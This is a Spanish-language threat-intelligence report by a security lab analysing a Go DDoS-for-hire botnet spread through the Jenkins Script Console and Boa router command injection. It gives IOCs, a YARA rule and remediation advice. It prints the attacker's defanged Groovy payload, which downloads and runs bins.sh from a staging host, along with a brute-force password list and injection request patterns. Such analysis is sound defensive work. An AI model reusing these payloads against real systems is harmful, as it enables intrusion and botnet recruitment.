Esta página es una traducción. La versión en inglés es el texto de referencia. Leer en inglés
malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
Una botnet DDoS de alquiler multiplataforma escrita en Go
Kinryū Labs analizó bot.exe, la compilación para Windows de una botnet DDoS escrita en Go, distribuida como un paquete dropper de 11 binarios y 13 arquitecturas y entregada mediante una campaña de explotación de varios días contra la Script Console de Jenkins. El reconocimiento del host de staging identificó una API activa y autenticada de DDoS de alquiler, un canal de comandos SSH en Go y una familia de linaje Mirai alojada en el mismo equipo. Evaluamos con alta confianza que se trata de una operación comercial de DDoS de alquiler.
Por Davis Zheng·
TLP:CLEAR. Autorizado para difusión pública. Capturado por la red de sensores honeypot de Kinryū Labs. Los indicadores que figuran a continuación están neutralizados.
Resumen ejecutivo
- 13compilaciones por arquitectura, 11 binarios únicos
- 5métodos DDoS con nombre, más una API de alquiler
- 3IP de origen coordinadas en un mismo /22
- 2familias de botnet en un mismo host
bot.exe es la compilación para Windows x86-64 de una botnet DDoS escrita en Go y distribuida como un paquete dropper multiarquitectura. Un script de shell acompañante, bins.sh, descarga trece compilaciones por arquitectura, once únicas tras eliminar duplicados, que cubren x86 de 32 y 64 bits, cuatro perfiles ARM, ARM64, Android ARM64 y MIPS big-endian y little-endian, además del binario de Windows. El paquete llegó a la red de honeypots mediante la explotación de un servidor Jenkins expuesto.
El malware incorpora cinco métodos de inundación con nombre (HTTP, handshake TLS, ICMP, TLS directo y un método volumétrico etiquetado VOULT), una inundación HTTP que rota cadenas de User-Agent de navegador y cabeceras de idioma para parecerse a tráfico legítimo, y payloads de inyección de comandos contra el servidor web Boa en dispositivos con el SDK de RealTek para autopropagarse. El reconocimiento del host de staging en 185.226.93[.]242 identificó una API autenticada de DDoS de alquiler en el puerto 3333, un servicio SSH implementado en Go en el puerto 2222 que funciona como canal de comandos, y un servicio FTP anónimo que aloja una segunda familia de botnet de linaje Mirai/Gafgyt.
Kinryū Labs evalúa con alta confianza que bot.exe forma parte de una botnet DDoS maliciosa, autopropagable y multiarquitectura, operada como un servicio comercial de alquiler. Tres hallazgos sostienen la evaluación: las propias cadenas de métodos de ataque y de explotación del binario; una API de alquiler activa en el host de staging del operador que valida los parámetros del trabajo y exige autenticación; y la telemetría de honeypot de una campaña sostenida desde direcciones de origen coordinadas que distribuían el paquete.
- bot.exe es una botnet DDoS multiplataforma escrita en Go. Cinco cadenas de registro distintas de métodos de inundación llevan parámetros de objetivo y duración, junto con maquinaria de suplantación de navegador y soporte de SOCKS5, todo en cadenas sin ofuscar y corroborado por la API activa.
- La operación funciona como un servicio comercial de DDoS de alquiler. El host de staging expone una API en el puerto 3333 que valida los parámetros del trabajo (
user,psw,host,method,time,port) y rechaza credenciales inválidas. - La botnet se autopropaga mediante inyección de comandos en dispositivos IoT. El binario incluye un payload de inyección de comandos contra
formSysCmdde Boa, una ruta de fuerza bruta contra el inicio de sesión de routers y las funciones exportadasloginDeviceyloginDeviceCaptcha, e inyecta la misma línea de dropper registrada en los logs del honeypot. - Tres IP de origen corresponden a un único operador. Tres direcciones en
185.226.92[.]0/22entregaron payloads idénticos con temporización coordinada y una lista de credenciales compartida, y las IP de entrega y de staging presentan claves de host SSH idénticas, lo que indica un mismo host o imágenes clonadas.
Entrega: una campaña sostenida contra la Script Console de Jenkins
El paquete se entregó mediante la explotación de una instancia de Jenkins expuesta a internet. La telemetría del honeypot registró un método constante de dos pasos: un GET /crumbIssuer/api/json para obtener el token CSRF, seguido de un POST /script con un payload para la Script Console en Groovy. El payload fue idéntico en todos los intentos y aquí aparece neutralizado:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
Las solicitudes incluían una cabecera Authorization: Basic que recorría un diccionario corto de contraseñas numéricas débiles para la cuenta admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), la firma de una lista de credenciales automatizada más que de una autenticación dirigida.
La campaña se desarrolló durante varios días en oleadas repetidas:
- Oleada 1Primeros sondeos: comprobación del crumb CSRF seguida de RCE en Groovy, desde la IP de staging y una segunda dirección del mismo bloque.
- Captura
bins.shy las trece variantes se capturaron dos veces, con unas catorce horas de diferencia, idénticas byte a byte en ambas ocasiones. - Oleadas posterioresExplotación paralela desde las tres IP de origen con pocos minutos de diferencia entre sí, con rotación de User-Agents.
Las solicitudes de explotación rotaban un amplio conjunto de User-Agents de navegador realistas, mientras que el barrido de reconocimiento en busca de más objetivos Jenkins (una petición a /login seguida de una ráfaga rápida de solicitudes a /script) usaba el valor por defecto Go-http-client/1.1. Los User-Agents falsificados acompañan a los payloads de explotación; el escáner utiliza el cliente Go nativo de la botnet. El propio host de staging y C2 participó en la explotación, de modo que la infraestructura de ataque y la de alojamiento no están separadas.
El malware: una base de código en Go, once binarios
Escribir el bot en Go permite compilar una sola base de código para todos los objetivos que quiera el operador. El dropper recorre toda la línea de productos: descarga cada compilación con wget y de nuevo con curl como alternativa, la marca como ejecutable, la ejecuta y la borra. El paquete incluye un .exe de Windows, al que el dropper de Linux aplica igualmente chmod +x, y la estructura generada del script apunta a una cadena de compilación y listado. Tras eliminar duplicados, las trece compilaciones se reducen a once binarios únicos: las compilaciones x86 e i386 coinciden, igual que las de ARM genérico y ARMv7. El abanico de arquitecturas, desde MIPS y ARM antiguo hasta Android, señala una botnet dirigida a routers, cámaras y otros dispositivos embebidos; la compilación para Windows lleva el mismo código a equipos de escritorio y servidores.
El binario no está empaquetado (las entropías de las secciones PE se sitúan entre 5.4 y 6.3) ni despojado de símbolos (el build ID de Go y los símbolos del runtime están intactos), por lo que sus capacidades quedan a la vista en cadenas en claro. La marca de tiempo de compilación está a cero, lo que es normal en las compilaciones de Go.
Las cadenas de registro del binario nombran cinco métodos de inundación, cada uno con formato de objetivo y duración: una inundación “HTTP (Optimized)”, una inundación de agotamiento por “Handshake” TLS/TCP, una inundación ICMP “PING”, una inundación directa de sesiones “TLS+” y un método “VOULT”, volumétrico y probablemente basado en UDP. Hay opciones tanto de capa de aplicación como de capa de red.
La inundación HTTP está construida para pasar por tráfico legítimo. Rota más de diez cadenas de User-Agent de navegador que abarcan Chrome, Edge, Opera, Firefox y Safari en Windows, macOS, iPad y Android; quince locales de Accept-Language; y las cabeceras de huella sec-fetch-* y sec-ch-ua-* que inspeccionan los servicios de mitigación. Establece un Referer a partir de un pequeño conjunto de sitios de alta reputación (google.com, reddit.com, facebook.com, bing.com, twitter.com y fbi.gov). Una de las entradas del conjunto de User-Agent es la cadena literal Hello World, un marcador de posición de desarrollo que constituye una firma de detección limpia porque ningún cliente legítimo la envía.
La propagación apunta al servidor web Boa, un pequeño demonio HTTP embebido que todavía se distribuye en muchos routers y cámaras basados en el SDK de RealTek. El binario incluye un payload de inyección de comandos contra el manejador formSysCmd de Boa y una ruta de fuerza bruta contra las interfaces de administración de routers, con campos de credenciales en JSON y las funciones exportadas loginDevice y loginDeviceCaptcha. El comando inyectado es la línea del dropper, de modo que un dispositivo comprometido se convierte en el punto de entrega del siguiente.
Los módulos de Go incorporados son todos paquetes estándar de golang.org/x, sin ningún framework de C2 de terceros enlazado. Incluyen chacha20poly1305, http2/hpack, dns/dnsmessage y http/httpproxy, en línea con las capacidades observables: un canal cifrado y autenticado, HTTP/2, DNS en crudo y proxy SOCKS5 (están presentes las cadenas socks5, socks connect y socksUsernamePassword). La configuración de C2 se obtiene en tiempo de ejecución desde hxxp://<C2>/config.dat; la única dirección codificada en el binario es el host de staging.
Infraestructura de mando y control y de staging
El reconocimiento del host de staging identificó los siguientes servicios:
| Puerto | Servicio | Propósito |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, inicio de sesión anónimo habilitado | Staging de malware (segunda familia, más abajo) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | Acceso del operador |
| 1001/tcp | Servidor Go net/http | Staging principal: sirve bins.sh y las variantes |
| 2222/tcp | Go SSH (SSH-2.0-Go) | Canal de comandos del bot |
| 3333/tcp | Servidor Go net/http | API de DDoS de alquiler |
Dos hallazgos respaldan la evaluación del servicio de alquiler. La IP de entrega y el host de staging presentan claves de host SSH ED25519, RSA y ECDSA idénticas, lo que los sitúa en la misma máquina o en imágenes clonadas de una misma plantilla, y el servicio SSH en Go del puerto 2222 presenta una clave distinta de la del OpenSSH del sistema en el puerto 22, lo que lo identifica como una aplicación separada y no como un reenvío. La API del puerto 3333 rechaza una solicitud por parámetros ausentes (user, psw, host, method, time/duration, port) y devuelve un fallo de autenticación para credenciales de prueba, mientras que todas las demás rutas devuelven 404. Esta es la interfaz mínima, autenticada solicitud a solicitud, de un booter comercial, ejecutándose en infraestructura activa.
Una segunda familia en el mismo host
El servicio FTP anónimo aloja una familia de botnet distinta, a la que aquí se hace referencia como “boatnet” por sus nombres de archivo. Su dropper (ohshit1.sh) usa el cliente ftpget de BusyBox, renombra cada binario a WTF antes de ejecutarlo y lanza las compilaciones en segundo plano para quince arquitecturas, incluidos objetivos embebidos exóticos (ARC, m68k, SH4, SPARC) del linaje Mirai/Gafgyt. Los binarios son ELF compilados en C, despojados de símbolos y empaquetados (entropía de 7.6 a 7.9 sin magic de UPX, lo que indica un empaquetador propio), por lo que poco sobrevive a una revisión estática. Los artefactos de boatnet son anteriores al paquete de bot.exe y ejecutan una base de código no relacionada, de modo que un mismo host aloja dos familias de botnet distintas.
Alojamiento
Ambas IP atacantes se encuentran en 185.226.92[.]0/22, registrado a nombre de un proveedor de VPS con sede en Turquía (nombre de red BIGCORE-US, AS205196 / AS57152) a través de RIPE NCC, con contacto de abuso abuse@bigcore.net. Identificamos al proveedor de alojamiento con fines de notificación y no hacemos ninguna afirmación sobre la identidad del operador.
Indicadores de compromiso
La infraestructura del atacante aparece neutralizada. Los hashes de las muestras y las cadenas de detección llevan valores reales de forma intencionada.
Red
| Indicador | Contexto |
|---|---|
185.226.93[.]242 | Host de staging y C2; también un escáner activo |
185.226.92[.]110 | Escáner principal / nodo de entrega |
185.226.92[.]173 | Escáner secundario |
185.226.92[.]0/22 | Asignación de alojamiento (BIGCORE, AS205196). Bloqueo razonable en el perímetro |
185.226.93[.]242:1001 | Staging HTTP (bins.sh + variantes) |
185.226.93[.]242:2222 | Canal de comandos SSH en Go |
185.226.93[.]242:3333 | API de DDoS de alquiler (/api, filtrada por parámetros) |
185.226.93[.]242:21 | FTP anónimo, staging de boatnet |
hxxp://<C2>/config.dat | Patrón de obtención de la configuración de C2 en tiempo de ejecución |
/boafrm/formSysCmd, /boafrm/formLogin | URI de RCE de Boa y de fuerza bruta de inicio de sesión en la propagación saliente |
Clave de host SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | Compartida entre las IP de entrega y de C2; indicador de pivote |
Archivos
| Archivo | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (dropper) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- MD5 / SHA-1 / imphash de bot.exe:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Hashes completos del paquete dropper (11 únicos entre 13 compilaciones)
| Compilación | SHA-256 | Tamaño (bytes) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
Artefactos de host y credenciales
- Diccionario de fuerza bruta contra el
adminde Jenkins:1123,123451,1231231,1111111,12345123. ohshit1.sh(dropper de boatnet) y un binario renombrado aWTFantes de la ejecución.- User-Agents distintivos:
Hello World(inundación HTTP del bot) yGo-http-client/1.1(autoescaneo del bot).
De comportamiento
GET /crumbIssuer/api/jsonde Jenkins seguido de unPOST /scriptcon un payload GroovyProcessBuilder('sh','-c', …)que descargabins.sh.- Solicitudes salientes a un host en la ruta
/config.dat, precedidas por una línea de registroConnecting to CNC.... POST /boafrm/formSysCmdentrante consysCmdselect=5y un cuerpowget … bins.sh.
Detección
Las cadenas son estables y no están ofuscadas, por lo que las firmas resultan sencillas. La regla YARA siguiente es una candidata construida a partir de cadenas verificadas; validar antes de desplegarla.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
Detección de red:
- Jenkins: alertar sobre cuerpos de
POST /scriptque contenganProcessBuilderconwget/curlhacia una IP en crudo, en particular si van precedidos deGET /crumbIssuer/api/json. - Propagación IoT:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - Infraestructura: bloquear
185.226.92[.]0/22, que cubre las direcciones de entrega y de C2, y alertar sobre conexiones salientes a los puertos 1001, 2222 y 3333 de ese rango.
Remediación
- No exponer Jenkins a internet. Colocarlo detrás de autenticación y aislamiento de red, deshabilitar la Script Console para quienes no sean administradores y tratar un servidor de compilación accesible como un riesgo de compromiso total del host. Este fue el vector de entrega.
- Exigir credenciales robustas en Jenkins y limitar la tasa de intentos de autenticación. La campaña se apoyó en un diccionario corto de contraseñas numéricas débiles para
admin. - Segmentar o reemplazar los routers y dispositivos IoT basados en RealTek/Boa, y bloquear el acceso externo a sus interfaces de administración. Son el objetivo de propagación de la botnet.
- Bloquear la asignación de alojamiento (
185.226.92[.]0/22) en el perímetro y alertar sobre la URI de RCE de Boa y el patrón de obtención deconfig.dat. - Filtrar el tráfico de salida. Un host que contacta una IP en crudo en el puerto 1001 para descargar archivos con nombre de arquitectura, o que se conecta a los puertos 2222 o 3333 de ese rango, es anómalo y detectable allí donde no hay detección en el host.
- Denunciar la infraestructura. La API de DDoS de alquiler y el malware alojado por FTP pueden denunciarse al contacto de abuso del proveedor de alojamiento (
abuse@bigcore.net).
Correspondencia con MITRE ATT&CK
| Táctica | Técnica |
|---|---|
| Acceso inicial | T1190 Exploit Public-Facing Application (Script Console de Jenkins; formSysCmd de Boa para la propagación) |
| Acceso a credenciales | T1110.001 Brute Force: Password Guessing (admin de Jenkins); T1110.004 Credential Stuffing (inicio de sesión IoT) |
| Ejecución | T1059 Command and Scripting Interpreter (Groovy mediante la Script Console; dropper de shell Unix) |
| Descubrimiento | T1046 Network Service Scanning (autoescaneo de Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery |
| Evasión de defensas | T1036 Masquerading (rotación de User-Agent de navegador; renombrado a WTF de boatnet) |
| Mando y control | T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; SSH en Go en 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS |
| Movimiento lateral / Entrega | T1105 Ingress Tool Transfer (staging multiarquitectura) |
| Impacto | T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (agotamiento por handshake) |
Metodología y notas
- Alcance: análisis estático de los binarios capturados, que no se ejecutaron, y reconocimiento externo activo del host de staging (enumeración de servicios y banners, listado del FTP anónimo y sondeo sin autenticar de la API del puerto 3333). No se eludió ninguna autenticación.
- La regla YARA es una candidata construida a partir de cadenas verificadas; validar antes de desplegarla. Los binarios de boatnet están empaquetados y aportaron pocas cadenas.
- Las muestras (el paquete de bot.exe, el dropper y los artefactos de boatnet) están disponibles para otros investigadores y defensores previa solicitud. Escribir a contact@kinryu.sh con una nota breve sobre quién es y para qué las necesita.